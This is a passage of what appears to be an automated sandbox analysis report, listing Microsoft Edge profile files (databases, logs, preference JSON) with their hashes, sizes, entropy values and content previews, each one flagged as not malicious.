MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b2e19193-636f-4413-a47c-43a5af62de51.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c2ac4d68-2d0f-4627-b0e0-4e91e0739e7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d1f6ef20-275b-43ee-9bc8-d2a41bf69f39.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e999862d-994b-4117-8893-d38b80b6d320.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.20108456968386
Encrypted:	false
SSDEEP:	12:MlHv4YebvqBZFUt8tj/+tXF5LYebvqBaJ:WP4Yebvyg8eLYebvL
MD5:	E798AFC0F104C36E0B2D34F663428CDB
SHA1:	B6AC464E528D340FE0D120161692CFB2E9A2413A
SHA-256:	2579E69A47624303E06B2526600C353E349E555B51A5CB1EE8D509C10449FC5B
SHA-512:	78FC7D93A8B4CF5490FC4C1AFDBA2C1461BE3DE1A08ACB7EABFF89E06490BF00407D330F6EC19DD0CB25192462F8CF91974773E9285A896001744AE4C512604A
Malicious:	false
Preview:	2024/11/11-13:52:30.291 1dd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/11-13:52:30.294 1dd0 Recovering log #3.2024/11/11-13:52:30.298 1dd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.20108456968386
Encrypted:	false
SSDEEP:	12:MlHv4YebvqBZFUt8tj/+tXF5LYebvqBaJ:WP4Yebvyg8eLYebvL
MD5:	E798AFC0F104C36E0B2D34F663428CDB
SHA1:	B6AC464E528D340FE0D120161692CFB2E9A2413A
SHA-256:	2579E69A47624303E06B2526600C353E349E555B51A5CB1EE8D509C10449FC5B
SHA-512:	78FC7D93A8B4CF5490FC4C1AFDBA2C1461BE3DE1A08ACB7EABFF89E06490BF00407D330F6EC19DD0CB25192462F8CF91974773E9285A896001744AE4C512604A
Malicious:	false
Preview:	2024/11/11-13:52:30.291 1dd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/11-13:52:30.294 1dd0 Recovering log #3.2024/11/11-13:52:30.298 1dd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.20363441006214
Encrypted:	false
SSDEEP:	6:HUMfUbLYQL+q2P923oH+TcwtpIFUt8YUMfUbIaG1Zmw+YUMfUbIaQLVkwO923oHs:WbLAv4YebmFUt8BbIN1/+BbIN5LYebaQ
MD5:	14E3665865FB7830D5DB1FE76B0390AD
SHA1:	794695EE71FCB214E1B36EEB4F7E61A33833B60D
SHA-256:	E320711832B46A139F8F23BC1FA87960871DA77B4605EE578AF4BB8FFDDD9084
SHA-512:	15839F636344D662CA650A07FE0ACB615E4F54FBCB23811586526A4CDCED56518BB45891B959C7A751AF41F750E1F18C67867308167D4368159A91FBB2B1CD92
Malicious:	false
Preview:	2024/11/11-13:52:12.736 1d78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/11-13:52:12.737 1d78 Recovering log #3.2024/11/11-13:52:12.737 1d78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.20363441006214
Encrypted:	false
SSDEEP:	6:HUMfUbLYQL+q2P923oH+TcwtpIFUt8YUMfUbIaG1Zmw+YUMfUbIaQLVkwO923oHs:WbLAv4YebmFUt8BbIN1/+BbIN5LYebaQ
MD5:	14E3665865FB7830D5DB1FE76B0390AD
SHA1:	794695EE71FCB214E1B36EEB4F7E61A33833B60D
SHA-256:	E320711832B46A139F8F23BC1FA87960871DA77B4605EE578AF4BB8FFDDD9084
SHA-512:	15839F636344D662CA650A07FE0ACB615E4F54FBCB23811586526A4CDCED56518BB45891B959C7A751AF41F750E1F18C67867308167D4368159A91FBB2B1CD92
Malicious:	false
Preview:	2024/11/11-13:52:12.736 1d78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/11-13:52:12.737 1d78 Recovering log #3.2024/11/11-13:52:12.737 1d78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265185595170012
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMNSAELyKOMq+8yC8F/YfU5m+OlTLVumB:Bq+n0JN9ELyKOMq+8y9/OwC
MD5:	C03738096C6A3C8FD8ABD5109CC7F2DF
SHA1:	70F16F53D296C2B72129BF855944BEAB7599D0CF
SHA-256:	5D396369190112640C7E4FEE04A9142BE3962EAED6554CC62E1FC94A5A8EC5C1
SHA-512:	C43610B62272CB2A64C741D0A66827CEBDBA345F2AF35CEAA73D7AA73F30ADECACA43C7A8988BD3BD6CDC7197F1D446A1CEC66E6EED664D83840589AC2EE6479
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46649429428508343
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0QX:v7doKsKuKZKlZNmu46yjx0A
MD5:	E2C9A8116EC4EFD70616311DDBAAFA48
SHA1:	605AFCDAC15AAEE03BE9EBE7714017E0F7F59FB3
SHA-256:	582943DAE055018D4F592F13BF3A2F7EC20378E04CB2A5B2FD424C995785DA64
SHA-512:	B3B74BDAE083F38DF339DE97BABD169B2425564DA6B38ED2694697667FAD289E10994247CFF7B12D8FB789BB77FFD1BB17E2FC20A33EE2BF3A9A572877D52A5D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e0dca72e-1b68-4c7b-b0e5-ce7c64af5744.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (14564), with no line terminators
Category:	dropped
Size (bytes):	14568
Entropy (8bit):	5.477652207191947
Encrypted:	false
SSDEEP:	384:stteQvs3sfhGA1GEPtgChMGrvJbGfQwW6W1aTYE:sibsfpQEPQGrBbGoZpaTYE
MD5:	A45B153513DB3FE733ADA69B180E71A4
SHA1:	1930B48FAABC63D11E86E1D755E8CD98DCE7D9EB
SHA-256:	F5CCBAF03CE7264A466A5A5E84571BD7A9418FBA09F717A7794624D5E46A8840
SHA-512:	8729242C74E44FDEBA9BE950630910FE33D043378295B420ACAD6C72A8DC19E9281466C189764D0DDAA51BB5E74ECCDD04F636D0F492B0DDD01ECE0DA60BBE9F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375824733241527","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f749d76c-64b1-4536-9459-745643c7a9dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (14564), with no line terminators
Category:	dropped
Size (bytes):	14568
Entropy (8bit):	5.477522673520032
Encrypted:	false
SSDEEP:	384:stteQvs3sfhGA1GEPtgChMGrvJbGfQwW6WZaTYE:sibsfpQEPQGrBbGoZNaTYE
MD5:	6DAA6F5F4FDE85A034AED660C09132A6
SHA1:	1AF182A0B534F7CA2840DAA7FF70F0ADD70C8E47
SHA-256:	2C0F2ED8F105D08220663FA4926C2FCBF943C9CC1EF20C016FB1A818C61F190F
SHA-512:	CBB6DFE49FC61A25B71173E8A75C6EFF1232C31DA7E56B80BEF311246CCC5D75D614DAF13ED5E32C9FFCA74E445FC2BE1A6B0F8AB72357FF43FF92A7A955C6EE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375824733241527","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fc0f8221-fa5f-4c86-b340-f3109df440cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10595616081117316
Encrypted:	false
SSDEEP:	12:Jntge56U0ntge56UyEpEjVl/PnnnnnnnnnnnnvoQhEoZ:Jntgy/0ntgy/ygoPnnnnnnnnnnnnvLj
MD5:	292BCC8C506C075AC9A353DA0DD76B82
SHA1:	F46B7413144C54542289D0FCF7329F4131D7E44C
SHA-256:	473C080332E956A61D100C7C96D280D25E564A77ED2B221F6E3528A7ABE09DA7
SHA-512:	87F1A9CE2A4BF0B5736C1F110BC69F4D2035DADC7C3AF9F6F8B5F00F8A0FB904C2C58B6B5418031D3C9A390F0C7860F75583118AF07FCE515FF4749B0760A34A
Malicious:	false
Preview:	..-.............Q..........$.....4..}...C5..2@...-.............Q..........$.....4..}...C5..2@.........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9353715492423977
Encrypted:	false
SSDEEP:	384:G2DvQBYPnsADx0D7xs8EpxGWePxlee6xrzeBxHp1eeRxDv8ty2yYbyuy1gy3xydr:7xSx6xP4xglxHmxSKxXn/xva
MD5:	B5A116DFE7E8DA9F64B58468EB048B39
SHA1:	516F66924DFCBA92AD3BEC5D105CD8CF757D9ED8
SHA-256:	D0464AEA4CEDC11AECAF52CB136FC70319D7D6F278B650BDAA9D98B477BB257D
SHA-512:	53C6C94C2C86AFC40C9EA32B9A7CF43D7F16B7EAA5FE7C981C7E51C649F1130B90A5DF3F58671DDDD429A7F33CDCCDD9A9A32910572EEBD8C668302B606F5798
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.561180649835693
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuvgllMgHH8G:iD6gljz
MD5:	B8C1D2D5BACB7304F5EF926A3763D935
SHA1:	33AABB84B9C5536ED0C61B21B6268D8CF3E6D628
SHA-256:	A8F80BED1C19177CE312F8C7DC5CC17C785EAE0070A7FF09CD9CA975565E8241
SHA-512:	D1ED5ECFD5BE38A88C8451C9FBC138630BBD8CE05833EEE35057945D9D4CCC5B148485C0EFE2111CE5A572AC1CA15AC666538C3762FF0B527575790A9CC12205
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................'.;...............#38_h.......6.Z..W.F.....B.f.....B.f.........V.e................V.e................V.e..................e.0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.208427508228309
Encrypted:	false
SSDEEP:	6:HUMfUUNQ+q2P923oH+TcwtfrK+IFUt8YUMfUUNgZmw+YUMfU6fQVkwO923oH+Tcq:WQv4Yeb23FUt8Bx/+B6A5LYeb3J
MD5:	8F7BC70DA3D227D3EE2A2F0E870BAD2C
SHA1:	51851095FC63279FD3721399E084387F112FA7F0
SHA-256:	2D7A08C14AD764CC7F01BB5CCCE892B2F63FFDC0E70B1A69F51B51D0BC0BD329
SHA-512:	3D7498DFF376829258B365F78DF4A49A130D01B147B7E78A6208EF1DDC3A4C957587F95B1199CA01351996A5F2930B6102C78AA6D6A3E350BC3DF22F366EF7CC
Malicious:	false
Preview:	2024/11/11-13:52:13.260 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/11-13:52:13.260 1d68 Recovering log #3.2024/11/11-13:52:13.275 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.208427508228309
Encrypted:	false
SSDEEP:	6:HUMfUUNQ+q2P923oH+TcwtfrK+IFUt8YUMfUUNgZmw+YUMfU6fQVkwO923oH+Tcq:WQv4Yeb23FUt8Bx/+B6A5LYeb3J
MD5:	8F7BC70DA3D227D3EE2A2F0E870BAD2C
SHA1:	51851095FC63279FD3721399E084387F112FA7F0
SHA-256:	2D7A08C14AD764CC7F01BB5CCCE892B2F63FFDC0E70B1A69F51B51D0BC0BD329
SHA-512:	3D7498DFF376829258B365F78DF4A49A130D01B147B7E78A6208EF1DDC3A4C957587F95B1199CA01351996A5F2930B6102C78AA6D6A3E350BC3DF22F366EF7CC
Malicious:	false
Preview:	2024/11/11-13:52:13.260 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/11-13:52:13.260 1d68 Recovering log #3.2024/11/11-13:52:13.275 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.168174923911894
Encrypted:	false
SSDEEP:	6:HUMfUW+q2P923oH+TcwtfrzAdIFUt8YUMfUWjyZZmw+YUMfUWjyzkwO923oH+Tc/:WW+v4Yeb9FUt8BWa/+BWm5LYeb2J
MD5:	57462CD9FA394F18800D3479695E3862
SHA1:	37921AB7E0A946DDFA9879BBCB9BFC266524B444
SHA-256:	5BC26CD9B55977E03B1CE000CE0EAA6290DF73C2445C03BD52D3062495465560
SHA-512:	2F070B38A413811D815D76250F2DF707C228D89852A3164EFB9D5457BA4F9F7B5C97A92097ABAAB71C1E457A314E2516F5D09DFD88B000FF5CA6B114B919C7CF
Malicious:	false
Preview:	2024/11/11-13:52:13.243 1774 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/11-13:52:13.244 1774 Recovering log #3.2024/11/11-13:52:13.244 1774 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.168174923911894
Encrypted:	false
SSDEEP:	6:HUMfUW+q2P923oH+TcwtfrzAdIFUt8YUMfUWjyZZmw+YUMfUWjyzkwO923oH+Tc/:WW+v4Yeb9FUt8BWa/+BWm5LYeb2J
MD5:	57462CD9FA394F18800D3479695E3862
SHA1:	37921AB7E0A946DDFA9879BBCB9BFC266524B444
